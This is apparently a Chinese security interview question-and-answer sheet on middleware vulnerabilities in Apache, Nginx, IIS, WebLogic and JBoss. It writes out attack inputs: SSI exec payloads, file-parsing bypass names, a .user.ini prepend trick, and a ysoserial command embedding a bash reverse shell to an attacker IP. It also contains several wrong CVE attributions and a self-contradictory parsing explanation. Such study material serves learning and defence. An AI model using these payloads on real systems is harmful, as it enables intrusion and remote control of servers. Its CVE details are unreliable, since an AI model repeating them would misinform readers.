1. 中间件概念是什么?
中间件是位于操作系统和应用程序之间的软件层,用于提供通用服务(如通信、数据处理、安全等),简化分布式系统开发。它屏蔽底层复杂性,使应用程序更易集成、扩展和维护,常见于企业级应用、Web 服务和分布式系统。
2. 常见的中间件有哪些?
Web 服务器:Apache HTTP Server、Nginx、IIS(Internet Information Services)
应用服务器:WebLogic、JBoss、Tomcat、WebSphere
消息队列:RabbitMQ、Kafka、ActiveMQ
数据库中间件:MySQL Proxy、Oracle Data Integrator
缓存中间件:Redis、Memcached
3. 中间件漏洞有哪些?(大概介绍)
配置漏洞:错误的权限设置、不安全的默认配置(如开放不必要的端口)。
代码执行漏洞:通过输入注入恶意代码(如 SQL 注入、命令注入)。
反序列化漏洞:利用不安全的对象反序列化执行任意代码(如 Weblogic、Fastjson)。
解析漏洞:文件解析逻辑错误导致恶意文件被执行(如 Nginx、Apache 解析漏洞)。
协议漏洞:特定协议实现中的缺陷(如 Weblogic 的 T3 协议漏洞)。
4. 遇见过哪些常见中间件的漏洞?
Apache:多后缀解析漏洞、SSI 命令执行漏洞。
Nginx:路径截断解析漏洞(如
image.jpg/.php
)。Weblogic:T3 协议反序列化漏洞(CVE-2017-10271、CVE-2020-14882)。
JBoss:反序列化漏洞(CVE-2017-7504、CVE-2017-12149)。
IIS:解析漏洞(如
.asp;.jpg
被当作 ASP 执行)。
5. Apache HTTPD 多后缀解析漏洞是什么?
Apache HTTPD 多后缀解析漏洞是指当服务器配置不当(如启用 AddHandler cgi-script .cgi
等类似规则)时,攻击者可通过构造包含多个后缀的文件名(如 test.php.aaa
),使 Apache 错误解析文件类型,将本不应被解析为脚本的文件当作脚本执行,从而可能导致远程代码执行的漏洞。
例如,若服务器允许 .php
后缀文件被 PHP 解析,攻击者上传 shell.php.jpg
时,Apache 可能因错误识别最后一个有效后缀为 .php
,而将该文件作为 PHP 脚本执行,触发漏洞。
6. Apache 多后缀解析漏洞原理是什么?
Apache 解析文件时,会从文件名的最后一个 .
开始向前识别,寻找第一个在配置中定义过的 “有效后缀”,并按该后缀对应的规则解析文件。
若服务器配置了类似
AddType application/x-httpd-php .php
(即.php
后缀文件由 PHP 解析),攻击者构造test.php.abc
时,Apache 会忽略.abc
(未配置关联解析规则),识别.php
为有效后缀,从而将文件作为 PHP 脚本解析。核心原因是 Apache 的 “后缀优先级” 机制:优先匹配最左侧的有效后缀,而非最后一个后缀,导致多后缀文件名被错误解析。
7. Apache HTTPD 换行解析漏洞是什么?
Apache HTTPD 换行解析漏洞(CVE-2017-15715)是存在于 Apache 2.4.0~2.4.29 版本中的漏洞。当服务器启用 mod CGI
或 mod cgid
模块时,攻击者可通过在 URL 中插入换行符(%0A
)构造特殊请求,绕过 Apache 的 CGI 路径验证规则,执行任意 CGI 脚本,进而可能导致远程命令执行。
例如,攻击者访问 http://example.com/cgi-bin/test%0A.sh
时,换行符会干扰 Apache 对路径的解析,使服务器误将恶意脚本当作合法 CGI 程序执行。
8. Apache SSI 远程命令执行漏洞是什么?
SSI(Server-Side Includes,服务器端包含)是 Apache 的一项功能,允许在 HTML 页面中嵌入指令(如 <!--#exec cmd="ls"-->
),服务器解析页面时会执行这些指令并将结果嵌入页面。 Apache SSI 远程命令执行漏洞是指当服务器启用 SSI 功能(如配置 AddType text/html .shtml
且允许 .shtml
等文件使用 SSI 指令),且攻击者能上传包含 SSI 指令的文件(如 .shtml
或被错误解析为 SSI 类型的文件)时,可通过嵌入 exec
等指令执行系统命令,实现远程命令执行。
例如,攻击者上传 shell.shtml
,内容为 <!--#exec cmd="id"-->
,服务器解析该文件时会执行 id
命令并返回结果,导致漏洞利用。
9. Nginx 解析漏洞是什么?
Nginx 解析漏洞是指攻击者通过构造特殊文件名或请求路径,利用 Nginx 与后端 PHP-FPM 交互时的解析逻辑缺陷,使服务器将非 PHP 文件(如图片)当作 PHP 脚本执行,从而实现远程代码执行的漏洞。常见类型包括:
路径截断漏洞:
漏洞条件:Nginx 配置中存在
location ~ \.php$
规则,且使用fastcgi_pass
转发请求到 PHP-FPM。攻击方式:请求
http://example.com/test.jpg/.php
,Nginx 因正则匹配规则将路径截断为test.jpg
,但 PHP-FPM 可能将其解析为test.jpg.php
,导致图片文件被当作 PHP 执行。
空字节漏洞(CVE-2009-2625):
漏洞条件:Nginx ≤ 0.8.37 版本。
攻击方式:请求
http://example.com/shell.php%00.jpg
,空字节(%00
)会截断 Nginx 的路径处理逻辑,使服务器将shell.php
作为文件名解析,而忽略.jpg
后缀,触发 PHP 解析。
10. Nginx 文件名逻辑漏洞是什么?
Nginx 文件名逻辑漏洞是指攻击者通过构造特殊符号(如分号、点等),利用 Nginx 对文件名的处理逻辑缺陷,绕过前端过滤机制,使恶意文件被错误解析为可执行脚本。常见场景包括:
分号截断漏洞:
攻击方式:上传
shell.php;.jpg
,Nginx 在处理分号时可能将其视为 URI 参数分隔符,导致实际传递给 PHP-FPM 的文件名为shell.php
,而.jpg
被忽略,触发 PHP 解析。
点号处理漏洞:
攻击方式:上传
shell.php.
(末尾带点),某些配置下 Nginx 会将其规范化为shell.php
,导致文件被错误解析为 PHP。
11. IIS 7.5 解析漏洞是什么?
IIS 7.5 解析漏洞是指 Internet Information Services (IIS) 7.5 版本中存在的文件解析逻辑缺陷,攻击者可通过构造特殊文件名,使服务器将非 ASP 文件当作 ASP 脚本执行,导致任意代码注入。主要类型包括:
分号截断漏洞(CVE-2011-1260):
漏洞条件:IIS 7.5 + FastCGI 模式。
攻击方式:请求
http://example.com/shell.asp;.jpg
,IIS 会忽略分号及后面的内容,将shell.asp
作为文件名解析,导致恶意代码被执行。
PHP 解析漏洞:
漏洞条件:IIS 7.5 + PHP 配置错误。
攻击方式:上传
shell.php.jpg
,若 IIS 配置中.php
处理规则优先级高于.jpg
,则该文件可能被当作 PHP 执行。
.user.ini 漏洞:
漏洞条件:PHP 配置允许
user_ini.filename
(默认.user.ini
)。攻击方式:上传
.user.ini
文件,内容为auto_prepend_file=shell.jpg
,然后上传包含 PHP 代码的shell.jpg
,使服务器自动加载并执行该文件。
12. Weblogic 里什么是 T3 协议?
T3 是 Oracle WebLogic Server 内部使用的二进制通信协议,用于实现服务器间的远程方法调用(RMI)和集群通信。它支持对象序列化和反序列化,允许 Java 对象在网络间传输,默认监听端口为 7001。
核心功能:
实现 WebLogic 集群节点间的数据同步和负载均衡;
支持 JNDI(Java Naming and Directory Interface)服务,用于查找和访问远程对象;
传输序列化的 Java 对象,包括自定义类和系统类。
13. Weblogic 漏洞原理是什么?
Weblogic 漏洞主要源于不安全的反序列化和组件设计缺陷:
反序列化漏洞:Weblogic 在处理 T3 协议或 HTTP 请求时,未对输入的序列化对象进行严格校验,攻击者可构造恶意对象(如利用 Apache Commons Collections 等 Gadget 链),触发远程代码执行(RCE)。
组件漏洞:Weblogic 内置的一些组件(如 WLS Security、Web Services)存在设计缺陷,可能被利用绕过认证或执行任意代码。
14. Weblogic 漏洞有哪些?
常见高危漏洞包括:
反序列化漏洞:
CVE-2017-10271(WLS 反序列化):利用 T3 协议执行任意代码,影响版本 10.3.6.0/12.1.3.0/12.2.1.1/12.2.1.2;
CVE-2019-2725(WebLogic Server WLS 组件):通过 T3 协议触发 RCE;
CVE-2020-14882/14883:绕过认证执行任意代码,无需 T3 协议。
组件漏洞:
CVE-2021-2109(WebLogic Server 管理控制台):任意文件上传导致 RCE;
CVE-2021-35535(WebLogic 反序列化):通过 HTTP 请求触发 RCE。
15. Weblogic 反序列化漏洞原理是什么?
核心机制: 攻击者构造包含恶意代码的序列化对象(如实现
readObject()
方法的类),通过 T3 协议或 HTTP 请求发送至 Weblogic 服务器。服务器在反序列化过程中,会自动调用readObject()
方法,触发恶意代码执行。利用链: 常见利用链包括 Apache Commons Collections(CC 链)、BeanShell、Groovy 等,通过这些库的反射机制执行系统命令。
16. Weblogic T3 协议反序列化原理是什么?
攻击路径:
攻击者通过 T3 协议连接到 Weblogic 服务器(默认端口 7001);
构造恶意序列化对象(如包含
Runtime.getRuntime().exec("命令")
的对象);将对象封装在 T3 协议包中发送给服务器;
服务器反序列化该对象时,触发
readObject()
方法执行命令。
关键条件:
服务器需开启 T3 协议(默认开启);
服务器类路径中存在可用的 Gadget 库(如 Apache Commons Collections)。
17. Weblogic 反序列化漏洞利用方式有哪些?
工具利用:
使用
ysoserial
生成恶意 payload:java -jar ysoserial.jar CommonsCollections5 "bash -i >& /dev/tcp/攻击机IP/4444 0>&1" > payload.ser
通过 T3 协议发送 payload:
python weblogic_t3_exploit.py -t 目标IP -p 7001 -f payload.ser
直接攻击:
针对 CVE-2020-14882,通过构造特殊 HTTP 请求绕过认证,上传并执行恶意 WAR 包。
18. 什么是 Jboss?
JBoss 是开源的 Java EE 应用服务器,由 JBoss Community 开发,后被 Red Hat 收购。它支持 EJB、Servlet、JSP、JMS 等企业级 Java 技术,提供分布式应用部署和管理功能,常用于构建大型企业级 Web 应用。
核心组件:
JBoss AS(Application Server):基础应用服务器;
JBoss EAP(Enterprise Application Platform):Red Hat 提供的企业版;
WildFly:JBoss AS 的下一代版本,更轻量、模块化。
19. JBOSS 漏洞原理是什么?
JBoss 漏洞主要源于不安全的反序列化、管理接口未授权访问和组件设计缺陷:
反序列化漏洞:JBoss 在处理 HTTP 请求或 RMI 通信时,未对输入的序列化对象进行严格校验,攻击者可构造恶意对象触发远程代码执行(RCE)。
管理接口漏洞:默认配置下,JBoss 的管理控制台(如
/admin-console
)可能未授权访问,攻击者可上传恶意 WAR 包。组件漏洞:如 JBoss 的 JMX(Java Management Extensions)组件、Web 服务等存在设计缺陷,可能被利用绕过安全限制。
20. Jboss CVE-2017-12149 漏洞原理是什么?
CVE-2017-12149 是 JBoss EAP 6.x 及以下版本的反序列化漏洞,攻击者通过构造恶意的 jboss.j2ee.jar
文件,利用 JBoss 对 JAR 文件处理时的反序列化逻辑,触发 RCE。
攻击路径:
攻击者构造包含恶意序列化对象的 JAR 文件;
通过 HTTP 请求上传该文件至 JBoss 服务器;
JBoss 在处理 JAR 文件时反序列化其中的对象,执行恶意代码。
21. Jboss CVE-2017-7504 漏洞原理是什么?
CVE-2017-7504 是 JBoss AS 5.x/6.x 版本的反序列化漏洞,攻击者通过向 /invoker/readonly
或 /invoker/nonreadonly
接口发送特制的 HTTP 请求,利用 Apache Commons Collections 链执行任意代码。
攻击路径:
攻击者构造包含恶意序列化对象的 HTTP 请求;
请求被发送至 JBoss 的 JMXInvokerServlet 组件;
组件反序列化请求数据时,触发恶意代码执行。